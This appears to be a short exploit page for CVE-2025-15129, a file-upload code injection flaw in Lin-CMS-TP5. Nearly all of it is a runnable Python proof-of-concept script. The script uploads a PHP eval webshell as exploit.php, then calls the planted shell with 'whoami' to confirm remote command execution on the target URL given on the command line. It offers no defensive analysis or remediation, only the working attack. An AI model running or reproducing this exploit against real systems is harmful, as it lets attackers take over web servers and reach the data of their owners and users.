CVE-2025-15129 Lin-CMS-TP5 文件上传代码注入漏洞

#!/usr/bin/env python3 """ CVE-2025-15129 PoC - Lin-CMS-TP5 File Upload Code Injection Reference: https://github.com/ChenJinchuang/lin-cms-tp5/issues/65 """ import requests import sys def exploit(target_url, webshell_content=None): """ Exploit the file upload vulnerability in Lin-CMS-TP5 """ if webshell_content is None: webshell_content = "<?php @eval($_POST['cmd']);?>" upload_url = f"{target_url.rstrip('/')}/application/lib/file/LocalUploader.php" # Prepare malicious file upload files = { 'file': ('exploit.php', webshell_content, 'application/x-php') } data = { 'File': 'exploit.php' } try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious file to {upload_url}") # Send malicious file upload request response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print(f"[+] Response: {response.text}") # Try to access the uploaded webshell webshell_url = f"{target_url.rstrip('/')}/uploads/exploit.php" print(f"[*] Attempting to access webshell at: {webshell_url}") # Test webshell execution test_response = requests.post(webshell_url, data={'cmd': 'whoami'}, timeout=10) if test_response.status_code == 200: print(f"[+] Webshell executed! Output: {test_response.text}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com/lin-cms-tp5") sys.exit(1) target = sys.argv[1] exploit(target)